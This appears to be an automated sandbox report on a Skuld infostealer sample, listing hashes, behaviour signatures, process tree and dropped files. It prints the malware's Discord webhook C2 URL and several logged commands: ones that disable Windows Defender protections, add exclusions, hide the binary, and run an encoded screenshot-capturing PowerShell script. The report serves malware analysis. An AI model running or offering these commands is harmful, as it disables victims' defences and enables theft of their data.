Analysis

  • max time kernel
    150s
  • max time network
    115s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-10-2024 02:46

General

  • Target

    P0K2F_skuld.exe

  • Size

    9.8MB

  • MD5

    60ee1db8e3804f423578fa28292bd459

  • SHA1

    5f219e2e3437149bfdc75aeaf5d989e1c26d3e4f

  • SHA256

    d18a03c30dc2fe580cb29c48d923d3fd26f5ef41d579075333738c1946db3c8d

  • SHA512

    691769e294d961501f5b1885453b0f4174f4376a8ad53841131e3794acecdb3075a477262b24cf9b90e48626d24c7512ea04412563a04467e65d1aa0f2e46272

  • SSDEEP

    98304:RdOdn+CM8aRA3oyx/thsEzgzMPEPmjBJZrZ6BN9elQcR:RdXCM8JvHsEzg4M4cN9ef

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1296277918661738547/GvUWEusnErfhpdvz7DEgE8VzXSZ8oWS_ujEIVSB0XhETe5iWx3tB8zm_wjAS1bJTlXLF

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\P0K2F_skuld.exe
    "C:\Users\Admin\AppData\Local\Temp\P0K2F_skuld.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3580
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\P0K2F_skuld.exe
      2⤵
      • Views/modifies file attributes
      PID:3872
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2328
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\P0K2F_skuld.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3900
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:3436
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2640
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4092
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cnmamtz3\cnmamtz3.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2128
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES77FF.tmp" "c:\Users\Admin\AppData\Local\Temp\cnmamtz3\CSC6C43C555364B49B8BC7935EFD5AC8A99.TMP"
          4⤵
            PID:2852
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4236
      • C:\Windows\system32\attrib.exe
        attrib -r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:3248
      • C:\Windows\system32\attrib.exe
        attrib +r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:1720

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      d85ba6ff808d9e5444a4b369f5bc2730

      SHA1

      31aa9d96590fff6981b315e0b391b575e4c0804a

      SHA256

      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

      SHA512

      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      d28a889fd956d5cb3accfbaf1143eb6f

      SHA1

      157ba54b365341f8ff06707d996b3635da8446f7

      SHA256

      21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

      SHA512

      0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      b736b1cf455023520eb7abb7f35ddaa2

      SHA1

      f3d04d1c5d14eb92c1e466ee4767ea65680b4070

      SHA256

      3530522d67a50208cbc38ada3fc1ce9c3f858488e1573e2cf1da6748040b8849

      SHA512

      5bff0ecabba8d72a06456a54911e623e519b4ed78d21e32de94cfae5e21636f46e5134c95abd184b43fec7fd2fd0a12087a330eb3cd41cb5507db4a1996c5158

    • C:\Users\Admin\AppData\Local\Temp\RES77FF.tmp

      Filesize

      1KB

      MD5

      4f150501233fb3b1e4deb7f229c666c1

      SHA1

      a3f5ed387736c52f4b73ad4bbf0b4548f63da395

      SHA256

      e8f0d8475922997e2ccac2d8244a28dd30d7c42f71ce4229ddfcb8a6aef9a4f9

      SHA512

      a31484dd476ac2804092a4cb89968bf349bb183bf0ca17e258a44fc84b7b56461fbceec8e738e43bab5cff4b0ad65268a1edf8ef03216aecc594fbe622db029b

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_invdgkdk.ntf.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\abNWCOEGUv\Display (1).png

      Filesize

      412KB

      MD5

      3bcbe8117f316074068952667016320a

      SHA1

      16865a1b42f95a2d16341b9c6c41f2a2750dd960

      SHA256

      c03bba34a80cc30cff099b1b5af3532d26958f9849440338774f62f12a72760f

      SHA512

      776a80bb573d2c05d0599d9ffaf75c12243f9cf1db16da5b02ad0bdece6841873a5114afc15c7bdd9b234dedd5ba486245a8ea5fa03c741b10719e9fd1dd3d65

    • C:\Users\Admin\AppData\Local\Temp\cnmamtz3\cnmamtz3.dll

      Filesize

      4KB

      MD5

      ae43ab58a99630cdd99abce45e8a8457

      SHA1

      14a6b6d0dc605c3ef1da69fc7630237c9f38e01d

      SHA256

      5a257ef6d10b222dc3080e9dba964d0864e648de28eeab54bcf7c182d469d0db

      SHA512

      063134ed83031c1d760c7d3c0b30abe208f8832840a3ebbb9f120293b4b1504b91197c75382f55ea55c1cdb6ed6ee648b5d1d290127b5c1c745d5f6900379c69

    • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

      Filesize

      9.8MB

      MD5

      60ee1db8e3804f423578fa28292bd459

      SHA1

      5f219e2e3437149bfdc75aeaf5d989e1c26d3e4f

      SHA256

      d18a03c30dc2fe580cb29c48d923d3fd26f5ef41d579075333738c1946db3c8d

      SHA512

      691769e294d961501f5b1885453b0f4174f4376a8ad53841131e3794acecdb3075a477262b24cf9b90e48626d24c7512ea04412563a04467e65d1aa0f2e46272

    • C:\Windows\System32\drivers\etc\hosts

      Filesize

      2KB

      MD5

      6e2386469072b80f18d5722d07afdc0b

      SHA1

      032d13e364833d7276fcab8a5b2759e79182880f

      SHA256

      ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

      SHA512

      e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

    • \??\c:\Users\Admin\AppData\Local\Temp\cnmamtz3\CSC6C43C555364B49B8BC7935EFD5AC8A99.TMP

      Filesize

      652B

      MD5

      c849f0ae7dfb7f383f14e8f46b34cba0

      SHA1

      4cb5e8eb320ae152ca6f532a897279425097341c

      SHA256

      794e4c3073b7a0a4bd95d472d79709f251affa6f5dea44238c09db7bbf9f7f80

      SHA512

      3d09b141a7ae3e7534e1236c1adf2dd089b3d9e6b19a14083a61176036e19ab73a92aa8671a93c82ce259c883e62a22c3793c6230265a7f170e89efd6a3b260c

    • \??\c:\Users\Admin\AppData\Local\Temp\cnmamtz3\cnmamtz3.0.cs

      Filesize

      1004B

      MD5

      c76055a0388b713a1eabe16130684dc3

      SHA1

      ee11e84cf41d8a43340f7102e17660072906c402

      SHA256

      8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

      SHA512

      22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

    • \??\c:\Users\Admin\AppData\Local\Temp\cnmamtz3\cnmamtz3.cmdline

      Filesize

      607B

      MD5

      8dafaf63956c8a100feebcea60b306bb

      SHA1

      f0d331f844cdc703ae4eacb370614ba74b85d0fb

      SHA256

      7e2a4e15f398344e31b9c3bcdd00b32ce1edd8d2dae66df565d99a8a1d3c2aab

      SHA512

      50fe90e92de9308fd912203dab3ec31b2520149e052318a350e3b29add26d2709eef94db20d69452dbd6365143ac10bab13cedea8a1605224babab3925f15329

    • memory/3900-10-0x00007FFF3D660000-0x00007FFF3E121000-memory.dmp

      Filesize

      10.8MB

    • memory/3900-9-0x00007FFF3D660000-0x00007FFF3E121000-memory.dmp

      Filesize

      10.8MB

    • memory/3900-20-0x000001E5EA230000-0x000001E5EA252000-memory.dmp

      Filesize

      136KB

    • memory/3900-6-0x00007FFF3D663000-0x00007FFF3D665000-memory.dmp

      Filesize

      8KB

    • memory/3900-30-0x00007FFF3D660000-0x00007FFF3E121000-memory.dmp

      Filesize

      10.8MB

    • memory/4092-66-0x000001DC84F30000-0x000001DC84F38000-memory.dmp

      Filesize

      32KB